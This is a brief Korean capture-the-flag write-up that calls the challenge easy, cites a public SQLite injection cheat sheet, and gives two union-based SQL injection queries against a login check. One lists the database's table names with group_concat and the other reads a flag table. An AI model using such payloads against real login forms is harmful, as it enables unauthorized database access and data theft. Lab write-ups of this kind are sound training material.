쉬운 문제
참고해서 그냥 풀면 된다.
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL Injection/SQLite Injection.md
group_concat 사용
select id from member where id='admin' and pw='' union SELECT group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'--
flag 가져오기
select id from member where id='admin' and pw='' union SELECT * from flag_70c81d99 --